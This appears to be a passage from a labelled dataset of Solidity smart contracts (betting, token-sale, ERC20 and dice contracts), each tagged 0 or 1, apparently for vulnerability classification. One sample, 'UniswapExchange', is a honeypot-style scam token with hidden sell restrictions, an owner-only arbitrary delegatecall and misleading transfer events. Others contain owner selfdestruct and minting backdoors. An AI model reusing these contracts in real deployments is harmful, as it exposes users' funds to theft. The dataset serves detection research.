totalBetAmount); } } function canBet() public constant returns(bool) { return (now >= BETTING_OPENS && now < BETTING_CLOSES); } function triggerPayout() public onlyBookieLevel { pingOracle(0); } function bet(uint teamIdx) public payable { require(canBet() == true); require(TeamType(teamIdx) == TeamType.LAClippers || TeamType(teamIdx) == TeamType.GSWarriors); require(msg.value >= MINIMUM_BET); if (betterInfo[msg.sender].amountsBet[0] == 0 && betterInfo[msg.sender].amountsBet[1] == 0) betters.push(msg.sender); betterInfo[msg.sender].amountsBet[teamIdx] += msg.value; numberOfBets++; totalBetAmount += msg.value; totalAmountsBet[teamIdx] += msg.value; BetMade(); } function performPayout() private canPerformPayout { uint losingChunk = this.balance - totalAmountsBet[uint(winningTeam)]; uint bookiePayout = losingChunk / BOOKIE_POOL_COMMISSION; BOOKIES[0].transfer(bookiePayout / BOOKIES.length); BOOKIES[1].transfer(bookiePayout / BOOKIES.length); for (uint k = 0; k < betters.length; k++) { uint betOnWinner = betterInfo[betters[k]].amountsBet[uint(winningTeam)]; uint payout = betOnWinner + ((betOnWinner * (losingChunk - bookiePayout)) / totalAmountsBet[uint(winningTeam)]); if (payout > 0) betters[k].transfer(payout); } payoutCompleted = true; } }
0
341
pragma solidity ^0.4.18; contract HodlerInvestmentClub { uint public hodl_interval= 1 years; uint public m_hodlers = 1; struct Hodler { uint value; uint time; } mapping(address => Hodler) public hodlers; modifier onlyHodler { require(hodlers[msg.sender].value > 0); _; } function HodlerInvestmentClub() payable public { if (msg.value > 0) { hodlers[msg.sender].value = msg.value; hodlers[msg.sender].time = now + hodl_interval; } } function deposit(address _to) payable public { require(msg.value > 0); if (_to == 0) _to = msg.sender; if (hodlers[_to].time == 0) { hodlers[_to].time = now + hodl_interval; m_hodlers++; } hodlers[_to].value += msg.value; } function withdraw() public onlyHodler { require(hodlers[msg.sender].time <= now); uint256 value = hodlers[msg.sender].value; delete hodlers[msg.sender]; m_hodlers--; require(msg.sender.send(value)); } function() payable public { require(msg.value > 0); hodlers[msg.sender].value += msg.value; if (hodlers[msg.sender].time == 0) { hodlers[msg.sender].time = now + hodl_interval; m_hodlers++; } } }
1
3,701
library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract BasicToken { using SafeMath for uint256; uint totalCoinSupply; mapping (address => mapping (address => uint256)) public AllowanceLedger; mapping (address => uint256) public balanceOf; function transfer( address _recipient, uint256 _value ) public returns( bool success ) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_recipient] = balanceOf[_recipient].add(_value); Transfer(msg.sender, _recipient, _value); return true; } function transferFrom( address _owner, address _recipient, uint256 _value ) public returns( bool success ) { var _allowance = AllowanceLedger[_owner][msg.sender]; balanceOf[_recipient] = balanceOf[_recipient].add(_value); balanceOf[_owner] = balanceOf[_owner].sub(_value); AllowanceLedger[_owner][msg.sender] = _allowance.sub(_value); Transfer(_owner, _recipient, _value); return true; } function approve( address _spender, uint256 _value ) public returns( bool success ) { address _owner = msg.sender; AllowanceLedger[_owner][_spender] = _value; Approval( _owner, _spender, _value); return true; } function allowance( address _owner, address _spender ) public constant returns ( uint256 remaining ) { return AllowanceLedger[_owner][_spender]; } function totalSupply() public constant returns( uint256 total ) { return totalCoinSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOf[_owner]; } event Transfer( address indexed _owner, address indexed _recipient, uint256 _value ); event Approval( address _owner, address _spender, uint256 _value ); } contract AnkorusToken is BasicToken, Ownable { using SafeMath for uint256; uint256 public saleCap; address public wallet; uint256 public startDate; uint256 public endDate; uint256 public weiRaised; uint256 public tokensSold = 0; uint256 public tokensPerTrunche = 2000000; mapping (address => bool) public whitelist; bool public finalized = false; string public constant symbol = "ANK"; string public constant name = "AnkorusToken"; uint8 public decimals = 18; event TokenPurchase(address indexed purchaser, uint256 value, uint256 tokenAmount); event CompanyTokenPushed(address indexed beneficiary, uint256 amount); event Burn( address burnAddress, uint256 amount); function AnkorusToken() public { } function supply() internal constant returns (uint256) { return balanceOf[0xb1]; } modifier uninitialized() { require(wallet == 0x0); _; } function getCurrentTimestamp() public constant returns (uint256) { return now; } function getRateAt() public constant returns (uint256) { uint256 traunch = tokensSold.div(tokensPerTrunche); if ( traunch == 0 ) {return 600;} else if( traunch == 1 ) {return 598;} else if( traunch == 2 ) {return 596;} else if( traunch == 3 ) {return 593;} else if( traunch == 4 ) {return 588;} else if( traunch == 5 ) {return 583;} else if( traunch == 6 ) {return 578;} else if( traunch == 7 ) {return 571;} else if( traunch == 8 ) {return 564;} else if( traunch == 9 ) {return 556;} else if( traunch == 10 ) {return 547;} else if( traunch == 11 ) {return 538;} else if( traunch == 12 ) {return 529;} else if( traunch == 13 ) {return 519;} else if( traunch == 14 ) {return 508;} else if( traunch == 15 ) {return 498;} else if( traunch == 16 ) {return 487;} else if( traunch == 17 ) {return 476;} else if( traunch == 18 ) {return 465;} else if( traunch == 19 ) {return 454;} else if( traunch == 20 ) {return 443;} else if( traunch == 21 ) {return 432;} else if( traunch == 22 ) {return 421;} else if( traunch == 23 ) {return 410;} else if( traunch == 24 ) {return 400;} else return 400; } function initialize(address _wallet, uint256 _start, uint256 _end, uint256 _saleCap, uint256 _totalSupply) public onlyOwner uninitialized { require(_start >= getCurrentTimestamp()); require(_start < _end); require(_wallet != 0x0); require(_totalSupply > _saleCap); finalized = false; startDate = _start; endDate = _end; saleCap = _saleCap; wallet = _wallet; totalCoinSupply = _totalSupply; balanceOf[wallet] = _totalSupply.sub(saleCap); Transfer(0x0, wallet, balanceOf[wallet]); balanceOf[0xb1] = saleCap; Transfer(0x0, 0xb1, saleCap); } function () public payable { buyTokens(msg.sender, msg.value); } function buyTokens(address beneficiary, uint256 value) internal { require(beneficiary != 0x0); require(value >= 0.1 ether); uint256 weiAmount = value; uint256 actualRate = getRateAt(); uint256 tokenAmount = weiAmount.mul(actualRate); require(supply() >= tokenAmount); require(saleActive()); balanceOf[0xb1] = balanceOf[0xb1].sub(tokenAmount); balanceOf[beneficiary] = balanceOf[beneficiary].add(tokenAmount); TokenPurchase(msg.sender, weiAmount, tokenAmount); Transfer(0xb1, beneficiary, tokenAmount); uint256 updatedWeiRaised = weiRaised.add(weiAmount); uint256 base = tokenAmount.div(1 ether); uint256 updatedTokensSold = tokensSold.add(base); weiRaised = updatedWeiRaised; tokensSold = updatedTokensSold; wallet.transfer(msg.value); } function batchApproveWhitelist(address[] beneficiarys) public onlyOwner { for (uint i=0; i<beneficiarys.length; i++) { whitelist[beneficiarys[i]] = true; } } function setWhitelist(address beneficiary, bool inList) public onlyOwner { whitelist[beneficiary] = inList; } function getTimeUntilStart() public constant returns (uint256) { if(getCurrentTimestamp() >= startDate) return 0; return startDate.sub(getCurrentTimestamp()); } function transfer( address _recipient, uint256 _value ) public returns(bool) { require(finalized); super.transfer(_recipient, _value); return true; } function push(address beneficiary, uint256 amount) public onlyOwner { require(balanceOf[wallet] >= amount); balanceOf[wallet] = balanceOf[wallet].sub(amount); balanceOf[beneficiary] = balanceOf[beneficiary].add(amount); CompanyTokenPushed(beneficiary, amount); Transfer(wallet, beneficiary, amount); } function finalize() public onlyOwner { require(getCurrentTimestamp() > endDate); finalized = true; Burn(0xb1, balanceOf[0xb1]); totalCoinSupply = totalCoinSupply.sub(balanceOf[0xb1]); Transfer(0xb1, 0x0, balanceOf[0xb1]); balanceOf[0xb1] = 0; } function saleActive() public constant returns (bool) { bool checkSaleBegun = (whitelist[msg.sender] && getCurrentTimestamp() >= (startDate.sub(2 days))) || getCurrentTimestamp() >= startDate; bool canPurchase = checkSaleBegun && getCurrentTimestamp() < endDate && supply() > 0; return(canPurchase); } }
1
4,243
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
688
pragma solidity ^0.4.13; contract PlusCoin { address public owner; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) allowed; string public standard = 'PlusCoin 1.0'; string public constant name = "PlusCoin"; string public constant symbol = "PLC"; uint public constant decimals = 18; uint public totalSupply; uint public constant fpct_packet_size = 3300; uint public ownerPrice = 40 * fpct_packet_size; State public current_state; uint public soldAmount; uint public constant owner_MIN_LIMIT = 15000000 * fpct_packet_size * 1000000000000000000; uint public constant TOKEN_PRESALE_LIMIT = 100000 * fpct_packet_size * 1000000000000000000; uint public constant TOKEN_ICO1_LIMIT = 3000000 * fpct_packet_size * 1000000000000000000; uint public constant TOKEN_ICO2_LIMIT = 3000000 * fpct_packet_size * 1000000000000000000; uint public constant TOKEN_ICO3_LIMIT = 3000000 * fpct_packet_size * 1000000000000000000; address public allowed_contract; enum State { Created, Presale, ICO1, ICO2, ICO3, Freedom, Paused } event Sent(address from, address to, uint amount); event Buy(address indexed sender, uint eth, uint fbt); event Withdraw(address indexed sender, address to, uint eth); event StateSwitch(State newState); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAllowedContract() { require(msg.sender == allowed_contract); _; } modifier onlyOwnerBeforeFree() { if(current_state != State.Freedom) { require(msg.sender == owner); } _; } modifier inState(State _state) { require(current_state == _state); _; } function PlusCoin() { owner = msg.sender; totalSupply = 25000000 * fpct_packet_size * 1000000000000000000; balances[owner] = totalSupply; current_state = State.Created; soldAmount = 0; } function() payable { require(current_state != State.Paused && current_state != State.Created && current_state != State.Freedom); require(msg.value >= 1); require(msg.sender != owner); buyTokens(msg.sender); } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } function buy() public payable { require(current_state != State.Paused && current_state != State.Created && current_state != State.Freedom); require(msg.value >= 1); require(msg.sender != owner); buyTokens(msg.sender); } function buyTokens(address _buyer) public payable { require(current_state != State.Paused && current_state != State.Created && current_state != State.Freedom); require(msg.value >= 1); require(_buyer != owner); uint256 wei_value = msg.value; uint256 tokens = safeMul(wei_value, ownerPrice); tokens = tokens; uint256 currentSoldAmount = safeAdd(tokens, soldAmount); if(current_state == State.Presale) { require(currentSoldAmount <= TOKEN_PRESALE_LIMIT); } if(current_state == State.ICO1) { require(currentSoldAmount <= TOKEN_ICO1_LIMIT); } if(current_state == State.ICO2) { require(currentSoldAmount <= TOKEN_ICO2_LIMIT); } if(current_state == State.ICO3) { require(currentSoldAmount <= TOKEN_ICO3_LIMIT); } require( (balances[owner] - tokens) >= owner_MIN_LIMIT ); balances[owner] = safeSub(balances[owner], tokens); balances[_buyer] = safeAdd(balances[_buyer], tokens); soldAmount = safeAdd(soldAmount, tokens); owner.transfer(this.balance); Buy(_buyer, msg.value, tokens); } function setOwnerPrice(uint128 _newPrice) public onlyOwner returns (bool success) { ownerPrice = _newPrice; return true; } function setAllowedContract(address _contract_address) public onlyOwner returns (bool success) { allowed_contract = _contract_address; return true; } function setTokenState(State _nextState) public onlyOwner returns (bool success) { bool canSwitchState = (current_state == State.Created && _nextState == State.Presale) || (current_state == State.Presale && _nextState == State.ICO1) || (current_state == State.ICO1 && _nextState == State.ICO2) || (current_state == State.ICO2 && _nextState == State.ICO3) || (current_state == State.ICO3 && _nextState == State.Freedom) || (current_state != State.Freedom && _nextState == State.Paused) || (current_state == State.Paused); require(canSwitchState); current_state = _nextState; soldAmount = 0; StateSwitch(_nextState); return true; } function remaining_for_sale() public constant returns (uint256 remaining_coins) { uint256 coins = 0; if (current_state == State.Presale) { coins = TOKEN_PRESALE_LIMIT - soldAmount; } if (current_state == State.ICO1) { coins = TOKEN_PRESALE_LIMIT - soldAmount; } if (current_state == State.ICO2) { coins = TOKEN_PRESALE_LIMIT - soldAmount; } if (current_state == State.ICO3) { coins = TOKEN_PRESALE_LIMIT - soldAmount; } if (current_state == State.Freedom) { coins = balances[owner] - owner_MIN_LIMIT; } return coins; } function get_token_state() public constant returns (State) { return current_state; } function withdrawEther(address _to) public onlyOwner { _to.transfer(this.balance); } function transfer(address _to, uint256 _value) onlyOwnerBeforeFree returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) onlyOwnerBeforeFree returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) onlyOwnerBeforeFree returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) onlyOwnerBeforeFree constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function destroy() { if (msg.sender == owner) { suicide(owner); } } }
1
3,432
pragma solidity ^0.4.25; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 1000000000; uint256 public buyPrice = 1; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'LinkBanking', 'LBC') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { owner.send(msg.value); uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } }
0
966
pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract BananaCash is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "BNC"; name = "Banana Cash"; decimals = 18; _totalSupply = 10000000000000000000000000; balances[0x7C7Ef798487fad90145613E6950bA3969ccA9887] = _totalSupply; emit Transfer(address(0), 0x7C7Ef798487fad90145613E6950bA3969ccA9887, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
5,259
pragma solidity ^0.4.25; contract FckDice { uint public HOUSE_EDGE_PERCENT = 1; uint public HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether; uint public MIN_JACKPOT_BET = 0.1 ether; uint public JACKPOT_MODULO = 1000; uint public JACKPOT_FEE = 0.001 ether; function setHouseEdgePercent(uint _HOUSE_EDGE_PERCENT) external onlyOwner { HOUSE_EDGE_PERCENT = _HOUSE_EDGE_PERCENT; } function setHouseEdgeMinimumAmount(uint _HOUSE_EDGE_MINIMUM_AMOUNT) external onlyOwner { HOUSE_EDGE_MINIMUM_AMOUNT = _HOUSE_EDGE_MINIMUM_AMOUNT; } function setMinJackpotBet(uint _MIN_JACKPOT_BET) external onlyOwner { MIN_JACKPOT_BET = _MIN_JACKPOT_BET; } function setJackpotModulo(uint _JACKPOT_MODULO) external onlyOwner { JACKPOT_MODULO = _JACKPOT_MODULO; } function setJackpotFee(uint _JACKPOT_FEE) external onlyOwner { JACKPOT_FEE = _JACKPOT_FEE; } uint constant MIN_BET = 0.01 ether; uint constant MAX_AMOUNT = 300000 ether; uint constant MAX_MODULO = 100; uint constant MAX_MASK_MODULO = 40; uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; uint constant BET_EXPIRATION_BLOCKS = 250; address public owner; address private nextOwner; uint public maxProfit; address public secretSigner; uint128 public jackpotSize; uint128 public lockedInBets; struct Bet { uint amount; uint8 modulo; uint8 rollUnder; uint40 placeBlockNumber; uint40 mask; address gambler; } mapping(uint => Bet) bets; address public croupier; event FailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount); event JackpotPayment(address indexed beneficiary, uint amount); event Commit(uint commit); constructor (address _secretSigner, address _croupier, uint _maxProfit) public payable { owner = msg.sender; secretSigner = _secretSigner; croupier = _croupier; require(_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number."); maxProfit = _maxProfit; } modifier onlyOwner { require(msg.sender == owner, "OnlyOwner methods called by non-owner."); _; } modifier onlyCroupier { require(msg.sender == croupier, "OnlyCroupier methods called by non-croupier."); _; } function approveNextOwner(address _nextOwner) external onlyOwner { require(_nextOwner != owner, "Cannot approve current owner."); nextOwner = _nextOwner; } function acceptNextOwner() external { require(msg.sender == nextOwner, "Can only accept preapproved new owner."); owner = nextOwner; } function() public payable { } function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } function setCroupier(address newCroupier) external onlyOwner { croupier = newCroupier; } function setMaxProfit(uint 